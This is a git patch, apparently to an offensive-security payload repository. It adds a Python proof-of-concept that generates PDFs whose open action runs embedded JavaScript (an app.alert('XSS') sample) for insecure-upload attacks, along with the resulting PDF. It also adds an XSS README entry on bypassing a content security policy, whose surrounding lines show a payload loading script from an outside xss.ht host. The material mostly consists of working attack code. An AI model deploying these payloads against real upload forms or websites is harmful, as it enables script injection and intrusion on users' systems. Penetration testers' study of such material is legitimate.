From 90f4c3634e41dfebf78320ec20dbad4133337d18 Mon Sep 17 00:00:00 2001 From: Swissky Date: Thu, 6 Sep 2018 20:28:30 +0200 Subject: [PATCH] PDF JS --- Upload insecure files/PDF JS/poc.js | 1 + Upload insecure files/PDF JS/poc.py | 108 ++++++++++++++++++++++++ Upload insecure files/PDF JS/result.pdf | 48 +++++++++++ XSS injection/README.md | 8 ++ 4 files changed, 165 insertions(+) create mode 100644 Upload insecure files/PDF JS/poc.js create mode 100644 Upload insecure files/PDF JS/poc.py create mode 100644 Upload insecure files/PDF JS/result.pdf diff --git a/Upload insecure files/PDF JS/poc.js b/Upload insecure files/PDF JS/poc.js new file mode 100644 index 0000000..caf0e52 --- /dev/null +++ b/Upload insecure files/PDF JS/poc.js @@ -0,0 +1 @@ +app.alert("XSS") \ No newline at end of file diff --git a/Upload insecure files/PDF JS/poc.py b/Upload insecure files/PDF JS/poc.py new file mode 100644 index 0000000..40cdee8 --- /dev/null +++ b/Upload insecure files/PDF JS/poc.py @@ -0,0 +1,108 @@ +# FROM https://github.com/osnr/horrifying-pdf-experiments +import sys + +from pdfrw import PdfWriter +from pdfrw.objects.pdfname import PdfName +from pdfrw.objects.pdfstring import PdfString +from pdfrw.objects.pdfdict import PdfDict +from pdfrw.objects.pdfarray import PdfArray + +def make_js_action(js): + action = PdfDict() + action.S = PdfName.JavaScript + action.JS = js + return action + +def make_field(name, x, y, width, height, r, g, b, value=""): + annot = PdfDict() + annot.Type = PdfName.Annot + annot.Subtype = PdfName.Widget + annot.FT = PdfName.Tx + annot.Ff = 2 + annot.Rect = PdfArray([x, y, x + width, y + height]) + annot.MaxLen = 160 + annot.T = PdfString.encode(name) + annot.V = PdfString.encode(value) + + # Default appearance stream: can be arbitrary PDF XObject or + # something. Very general. + annot.AP = PdfDict() + + ap = annot.AP.N = PdfDict() + ap.Type = PdfName.XObject + ap.Subtype = PdfName.Form + ap.FormType = 1 + ap.BBox = PdfArray([0, 0, width, height]) + ap.Matrix = PdfArray([1.0, 0.0, 0.0, 1.0, 0.0, 0.0]) + ap.stream = """ +%f %f %f rg +0.0 0.0 %f %f re f +""" % (r, g, b, width, height) + + # It took me a while to figure this out. See PDF spec: + # https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=641 + + # Basically, the appearance stream we just specified doesn't + # follow the field rect if it gets changed in JS (at least not in + # Chrome). + + # But this simple MK field here, with border/color + # characteristics, _does_ follow those movements and resizes, so + # we can get moving colored rectangles this way. + annot.MK = PdfDict() + annot.MK.BG = PdfArray([r, g, b]) + + return annot + +def make_page(fields, script): + page = PdfDict() + page.Type = PdfName.Page + + page.Resources = PdfDict() + page.Resources.Font = PdfDict() + page.Resources.Font.F1 = PdfDict() + page.Resources.Font.F1.Type = PdfName.Font + page.Resources.Font.F1.Subtype = PdfName.Type1 + page.Resources.Font.F1.BaseFont = PdfName.Helvetica + + page.MediaBox = PdfArray([0, 0, 612, 792]) + + page.Contents = PdfDict() + page.Contents.stream = """ +BT +/F1 24 Tf +ET + """ + + annots = fields + + page.AA = PdfDict() + # You probably should just wrap each JS action with a try/catch, + # because Chrome does no error reporting or even logging otherwise; + # you just get a silent failure. + page.AA.O = make_js_action(""" +try { + %s +} catch (e) { + app.alert(e.message); +} + """ % (script)) + + page.Annots = PdfArray(annots) + return page + +if len(sys.argv) > 1: + js_file = open(sys.argv[1], 'r') + + fields = [] + for line in js_file: + if not line.startswith('/// '): break + pieces = line.split() + params = [pieces[1]] + [float(token) for token in pieces[2:]] + fields.append(make_field(*params)) + + js_file.seek(0) + + out = PdfWriter() + out.addpage(make_page(fields, js_file.read())) + out.write('result.pdf') \ No newline at end of file diff --git a/Upload insecure files/PDF JS/result.pdf b/Upload insecure files/PDF JS/result.pdf new file mode 100644 index 0000000..d5bd60a --- /dev/null +++ b/Upload insecure files/PDF JS/result.pdf @@ -0,0 +1,48 @@ +%PDF-1.3 +%âãÏÓ +1 0 obj +<> +endobj +2 0 obj +<> +endobj +3 0 obj +<>>> + /Annots [] /Contents 4 0 R /MediaBox [0 0 612 792] /Parent 2 0 R + /Resources + <>>>>> + /Type /Page>> +endobj +4 0 obj +<> +stream + +BT +/F1 24 Tf +ET + +endstream +endobj +xref +0 5 +0000000000 65535 f +0000000015 00000 n +0000000062 00000 n +0000000117 00000 n +0000000424 00000 n +trailer + +<> +startxref +493 +%%EOF diff --git a/XSS injection/README.md b/XSS injection/README.md index da0d808..4c6edb0 100644 --- a/XSS injection/README.md +++ b/XSS injection/README.md @@ -717,6 +717,14 @@ window.frames[0].document.head.appendChild(script); d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://swk.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000) ``` +### Bypass CSP by [@akita_zen](https://twitter.com/akita_zen) + +Works for CSP like `script-src self` + +```js + +``` + ## Common WAF Bypass ### Chrome Auditor - 9th august